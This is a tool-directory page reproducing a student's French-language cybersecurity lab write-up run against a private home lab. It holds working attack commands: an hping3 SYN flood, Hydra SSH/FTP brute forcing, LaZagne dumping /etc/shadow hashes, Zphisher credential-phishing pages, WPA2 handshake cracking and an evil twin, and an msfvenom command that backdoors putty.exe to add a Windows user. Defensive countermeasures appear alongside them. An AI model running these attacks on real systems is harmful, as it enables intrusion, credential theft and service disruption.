Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cybersecurity — Trabalho prático de laboratório de cibersegurança em francês, abrangendo reconhecimento de rede, DDoS, força bruta, phishing, ataques Wi-Fi, geração de malware, MITM e uma análise de CVE de use-after-free no librsvg. | Kitploit
Ferramentas/GitHubGitHub/pauleprichna/cybersecurity
Scanners de Vulnerabilidades WebAtaques de SenhaAnálise de VulnerabilidadesColeta de InformaçõesPhishingSegurança de RedeSegurança Sem FioAnálise de MalwareTestes de PenetraçãoAprendizado e EducaçãoRed TeamingLabs e Prática
há 20 diasAinda não revisado
GitHubpauleprichna/cybersecurity

cybersecurity

Trabalho prático de laboratório de cibersegurança em francês, abrangendo reconhecimento de rede, DDoS, força bruta, phishing, ataques Wi-Fi, geração de malware, MITM e uma análise de CVE de use-after-free no librsvg.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Cibersegurança – Conceitos e Implementação

Autor

Paule Prichna MOUANDZIBI NDINGA


1. Introdução e Objetivos

Este repositório contém o conjunto dos trabalhos práticos realizados no âmbito do módulo de Cibersegurança. O objetivo é compreender os mecanismos dos ataques informáticos, simulá-los num ambiente controlado e propor soluções de defesa adequadas.

Ambiente de laboratório:

  • Máquina atacante: Kali Linux (192.168.1.196)
  • Máquina alvo: Ubuntu Server (192.168.1.161)
  • Gateway: 192.168.1.1

2. TP1: Coleta de dados e varredura de rede

Passo 1 — Verificação da conectividade

  • Comando: ping -c 3 192.168.1.161
  • Resultado: 3 pacotes transmitidos, 0% de perda. A conexão está estabelecida.

Passo 2 — Topologia de rede com Nmap

  • Comando: nmap -sn 192.168.1.0/24
  • Resultado: Descoberta de 8 hosts ativos, incluindo Ubuntu (192.168.1.161) e Kali (192.168.1.196).

Passo 3 — Varredura dos serviços de rede

  • Comando: nmap -sV -O 192.168.1.161
  • Resultado: Deteção das portas 21 (FTP), 22 (SSH) e 80 (HTTP) abertas.

Passo 4 — Criação do script Scapy

  • Ficheiro: scanner.py
  • Código: Envio de pacotes SYN com sr1, análise das respostas (SYN-ACK = aberta, RST = fechada).
  • Comando: python3 scanner.py 192.168.1.161 1 100
  • Resultado: Deteção das portas 21, 22 e 80.

Passo 5 — Bloqueio com iptables

  • Comandos no Ubuntu:
    sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/second -j ACCEPT
    sudo iptables -A INPUT -p tcp --syn -j DROP
    

Test Nmap : nmap -sS --max-retries 1 192.168.1.161 → Message retransmission cap hit (Nmap abandonne).

Test Scapy : python3 scanner.py 192.168.1.161 1 100 → Détection partielle (le blocage n'est pas total).

Étape 6 — Configuration de PortSentry

Installation : sudo apt install portsentry -y

Configuration dans /etc/portsentry/portsentry.conf :

ini BLOCK_TCP="1" BLOCK_UDP="1" KILL_ROUTE="/usr/sbin/iptables -I INPUT -s $TARGET$ -j DROP" Redémarrage : sudo systemctl restart portsentry

Test : Scan Nmap depuis Kali → PortSentry détecte et bannit l'IP de Kali (192.168.1.196).

Vérification : sudo fail2ban-client status sshd → Banned IP list: 192.168.1.196.

Étape 7 — Application web avec IA (Q6 & Q7)

Installation de l'environnement : python3 -m venv venv, pip install openai flask python-nmap

Fichiers créés : app.py, scanner.py, ai_analyzer.py, templates/index.html

Clé API OpenRouter configurée dans une variable d'environnement.

Lancement : python3 app.py

Accès : http://192.168.1.161:5000 (interface rose).

Résultat : Tableau des services détectés + rapport d'analyse IA.

Extension avec Nikto : sudo apt install nikto -y, script vuln_scanner.py, détection de vulnérabilités (ex: /server-status accessible).

  1. TP2 : Attaque DDoS Étape 1 — Compréhension

DoS : 1 source. DDoS : plusieurs sources (botnet).

Mécanismes : saturation de la bande passante, CPU, mémoire, connexions.

Étape 2 — Analyse d'impact

Attaques étudiées : DoS/DDoS, force brute, injection SQL, MITM, XSS, DNS Cache Poisoning, exploitation de vulnérabilités, ingénierie sociale.

Étape 3 — Simulation avec hping3

Commande depuis Kali : sudo hping3 -S --flood --rand-source -p 80 192.168.1.161

Vérification sur Ubuntu : ss -tan | grep SYN-RECV → Des centaines de connexions en attente.

Étape 4 — Détection et Protection

Protection SYN Cookies dans /etc/sysctl.conf :

ini net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_syn_backlog = 2048 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_syn_retries = 2 Application : sudo sysctl -p

Test après protection : ss -tan | grep SYN-RECV → Seulement 6 connexions (le serveur résiste).

  1. TP3 : Attaque par Force Brute Étape 1 — Concept

Définition : Essayer plusieurs combinaisons de mots de passe.

Types : Simple, dictionnaire, hybride, table arc-en-ciel, distribuée.

Étape 2 — Génération du dictionnaire avec Wister

Clonage : git clone https://github.com/cycurity/wister.git

Création de mots.txt avec des mots probables.

Génération : wister -i ~/mots.txt → 6 mots de passe générés.

Étape 3 — Attaque SSH et FTP avec Hydra

Cible : 192.168.1.161, utilisateur : paulette.

Commande SSH : hydra -l paulette -P ~/mots.txt ssh://192.168.1.161

Résultat : Mot de passe passer123@@ trouvé en 6 secondes.

Commande FTP : hydra -l paulette -P ~/mots.txt ftp://192.168.1.161

Résultat : Mot de passe passer123@@ trouvé en 4 secondes.

Étape 4 — Utilisation de LaZagne

Connexion SSH : ssh [email protected]

Téléchargement : git clone https://github.com/AlessandroZ/LaZagne.git

Installation des dépendances : pip3 install psutil pycryptodome pyasn1 --break-system-packages

Exécution : sudo python3.11 laZagne.py all

Résultat : Récupération de 21 hashs depuis /etc/shadow, dont celui de cybersecurity (SHA-512).

Étape 5 — Prévention

Solutions : Mots de passe forts, Fail2ban, Clés SSH / 2FA.

Étape 6 — Configuration de Fail2ban

Installation : sudo apt install fail2ban -y

Création de /etc/fail2ban/jail.d/sshd.local :

ini [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 findtime = 600 bantime = 3600 Redémarrage : sudo systemctl restart fail2ban

Test : Hydra échoue → ssh: connect to host 192.168.1.161 port 22: Connection refused.

Vérification : sudo fail2ban-client status sshd → Banned IP list: 192.168.1.196.

  1. TP4 : Ingénierie Sociale Étape 1 — Définition et Scénarios

Phishing, Vishing, Smishing, Pretexting, Baiting, Quishing, Tailgating.

Étape 2 — Zphisher (Fausse page LinkedIn)

Installation : git clone https://github.com/htr-tech/zphisher.git

Lancement : bash zphisher.sh, choix du template LinkedIn, tunneling Localhost.

Modification de HOST='0.0.0.0' pour exposer la page sur le réseau.

Résultat : Identifiants capturés ([email protected] / passer123).

Étape 3 — Gophish (Campagne de sensibilisation)

Téléchargement et lancement de Gophish.

Configuration de MailHog pour capturer les emails.

Création d'un template, d'une landing page, d'un groupe cible et d'un profil SMTP.

Lancement de la campagne et suivi des statistiques.

Étape 4 — Fausse page Gmail avec Zphisher

Template Google, tunneling Localhost.

Résultat : Identifiants capturés ([email protected] / test123).

Étape 5 — Quishing (QR Code)

Génération d'un QR code avec qrencode -o qr_gmail.png -s 10 "http://192.168.1.196:8080".

Scan avec un smartphone → redirection vers la fausse page.

Étape 6 — Prévention

Solutions : MFA, sensibilisation, filtrage email (SPF, DKIM, DMARC).

  1. TP5 : Évaluation de la Sécurité des Réseaux Wi-Fi Étape 1 — Protocoles Wi-Fi

WEP, WPA, WPA2, WPA3 (authentification, chiffrement, failles).

Étape 2 — Failles de sécurité

WEP : IV de 24 bits, RC4 faible. WPA : TKIP vulnérable. WPA2 : KRACK. WPA3 : Dragonblood.

Étape 3 — Attaque par force brute WPA2

Déploiement de WiFiChallengeLab-docker.

Scan avec airodump-ng --band abg wlan0mon.

Capture du handshake : airodump-ng -c 6 --bssid F0:9F:C2:71:22:12 -w /tmp/wpa-mobile wlan0mon.

Désauthentification : aireplay-ng --deauth 10 -a ....

Cassage : aircrack-ng /tmp/wpa-mobile-03.cap -w /usr/share/wordlists/rockyou.txt.

Résultat : Mot de passe starwars1 trouvé en 2 secondes.

Étape 4 — Attaque Evil Twin avec Airgeddon

Lancement d'Airgeddon, sélection de l'interface, mode moniteur.

Choix de l'attaque Evil Twin with Captive Portal.

Sélection du réseau cible wifi-mobile.

Configuration et lancement de l'attaque.

Capture du mot de passe Wi-Fi via le portail captif.

Étape 5 — Autres fonctionnalités

Capture du PMKID.

Beacon Flood.

WIDS/WIPS Confusion.

Étape 6 — Solutions de sécurisation

Mot de passe long et aléatoire (16+ caractères).

Migration vers WPA3 (SAE) et activation de PMF (802.11w).

  1. TP6 : Création de Logiciels Malveillants Étape 1 — Malware Windows (ajout d'utilisateur)

Génération : msfvenom -a x86 --platform windows -p windows/exec CMD='net user junior Passer123 /add' -x /tmp/putty32.exe -k -f exe -o user_putty.exe

Baixar ferramenta